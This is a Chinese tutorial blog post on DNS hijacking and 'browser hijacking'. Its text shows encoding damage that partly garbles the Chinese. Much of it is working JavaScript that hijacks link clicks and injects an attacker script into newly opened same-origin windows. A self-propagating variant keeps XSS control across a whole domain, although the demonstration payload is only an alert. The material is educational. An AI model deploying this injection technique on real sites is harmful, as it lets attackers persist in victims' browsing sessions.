Web 前端 黑客技術(shù)—— 瀏覽器劫持技術(shù)

1.前言


相信大家都遇到過這樣的情況:
當(dāng)你在家正興致勃勃的網(wǎng)上沖浪的時(shí)候,忽然之間,所有網(wǎng)頁(yè)都打不開了,所有聯(lián)網(wǎng)的軟件都無(wú)法聯(lián)網(wǎng)了,用測(cè)速軟件測(cè)網(wǎng)速,網(wǎng)速卻顯示正常,但就是無(wú)法瀏覽網(wǎng)頁(yè)或者打開網(wǎng)頁(yè)奇慢。

這是什么原因呢?
很不幸的告訴你,這是因?yàn)槟愕?** DNS 被劫持** 了

2014年1月21日下午15點(diǎn)中國(guó)境內(nèi)發(fā)生 DNS 解析服務(wù)故障(主要原因是DNS污染或 DNS劫持),導(dǎo)致 百度 等多家網(wǎng)站長(zhǎng)達(dá)幾個(gè)小時(shí)之內(nèi)無(wú)法訪問。其指向的 IP地址 為65.49.2.178,所以該IP又被冠名為65.49.2.178事件。

2014年1月21日下午三點(diǎn)十分左右,全國(guó) DNS 域名解析系統(tǒng)出現(xiàn)了大范圍的訪問故障,包括 DNSPod 在內(nèi)的多家域名解析服務(wù)提供商予以確認(rèn),此次事故波及全國(guó),有近三分之二的網(wǎng)站不同程度的出現(xiàn)了不同地區(qū)、不同網(wǎng)絡(luò)環(huán)境下的訪問故障,其中百度、新浪 等知名網(wǎng)站也受到了影響。

2.什么是dns劫持?


DNS劫持 又稱域名劫持,是指通過某些手段取得某域名的解析控制權(quán),修改此域名的解析結(jié)果,導(dǎo)致對(duì)該域名的訪問由原IP地址轉(zhuǎn)入到修改后的指定IP,其結(jié)果就是對(duì)特定的網(wǎng)址不能訪問或訪問的是假網(wǎng)址。
如果可以冒充域名服務(wù)器,然后把查詢的IP地址設(shè)為攻擊者的IP地址,這樣的話,用戶上網(wǎng)就只能看到攻擊者的主頁(yè),而不是用戶想要取得的網(wǎng)站的主頁(yè)了,這就是DNS劫持的基本原理。DNS劫持其實(shí)并不是真的“黑掉”了對(duì)方的網(wǎng)站,而是冒名頂替、招搖撞騙罷了。

好了扯了這么多,進(jìn)入正題,我今天要分享的是與之相關(guān)的另外一種劫持技術(shù)——瀏覽器劫持技術(shù)

3.瀏覽器劫持


瀏覽器劫持技術(shù)是指通過劫持用戶點(diǎn)擊鏈接操作,在打開新窗口的時(shí)候注入攻擊者的 JavaScript 腳本,以達(dá)到將 XSS(跨站腳本攻擊)威脅延續(xù)到同域內(nèi)的其他頁(yè)面的目的。

Example:

HTML文件

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
    </head>
    <body>
        <!-- 劫持鏈接對(duì)象 -->
        <a href="test_映紛創(chuàng)意.html">映紛創(chuàng)意</a>
        <a href="test_映紛創(chuàng)意_joinus.html">映紛創(chuàng)意_joinus</a>
        <script type="text/javascript">
            function scriptobj(window_obj, src){
                s = window_obj.document.createElement('script');
                s.src = src;
                window_obj.document.getElementsByTagName('body')[0].appendChild(s);
            }
            function hijack_links(js){
                /*劫持鏈接點(diǎn)擊,參數(shù)說明:
                    js:注入打開的同域鏈接頁(yè)面的目標(biāo) js 文件*/
                for(i = 0; i < document.links.length; i++){
                    //遍歷鏈接對(duì)象,劫持 onclick 事件
                    document.links[i].onclick = function(){
                        x = window.open(this.href); //獲取打開新窗口的對(duì)象
                        setTimeout("scriptobj(x,'"+js+"')",1000);
                        //延時(shí) 2 秒向打開的劫持鏈接對(duì)象的 DOM 樹種注入 alert.js 文件
                        return false;
                    };
                }
            }
            hijack_links('js/alert.js');
        </script>
    </body>
</html>

js 文件(alert.js)

alert("哈哈,你被劫持了!");

通過測(cè)試,我們發(fā)現(xiàn)從當(dāng)前網(wǎng)頁(yè)打開的所有鏈接都被劫持了(這里為了測(cè)試,使用彈出框來代表被注入的腳本文件)

原網(wǎng)頁(yè)
新打開的窗口1
新打開的窗口2

為了讓這樣的劫持繼續(xù)下去,可以在 alert.js 中繼續(xù)執(zhí)行 hijack_links ,以達(dá)到在同域內(nèi)對(duì)任意頁(yè)面進(jìn)行控制的目的。

修改后的 js 文件如下(alert.js):
(這里依然使用彈出框來代表新打開窗口已被注入腳本文件)

alert("哈哈,你被劫持了!");

function scriptobj(window_obj, src) {
    s = window_obj.document.createElement('script');
    s.src = src;
    window_obj.document.getElementsByTagName('body')[0].appendChild(s);
}

function hijack_links(js) {
    /*劫持鏈接點(diǎn)擊,參數(shù)說明:
        js:注入打開的同域鏈接頁(yè)面的目標(biāo) js 文件*/
    for(i = 0; i < document.links.length; i++) {
        //遍歷鏈接對(duì)象,劫持 onclick 事件
        document.links[i].onclick = function() {
            x = window.open(this.href); //獲取打開新窗口的對(duì)象
            setTimeout("scriptobj(x,'" + js + "')", 1000);
            //延時(shí) 2 秒向打開的劫持鏈接對(duì)象的 DOM 樹種注入 alert.js 文件
            return false;
        };
    }
}
hijack_links('js/alert.js');

這時(shí),你會(huì)發(fā)現(xiàn)同域內(nèi)的所有你打開的網(wǎng)頁(yè)都被劫持了,即使你從新打開的網(wǎng)頁(yè)中點(diǎn)擊任何鏈接打開其他窗口依然在被劫持的域名內(nèi),無(wú)論你打開多少網(wǎng)頁(yè),都會(huì)被攻擊者注入腳本。

參考《Web 前端黑客技術(shù)揭秘》

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容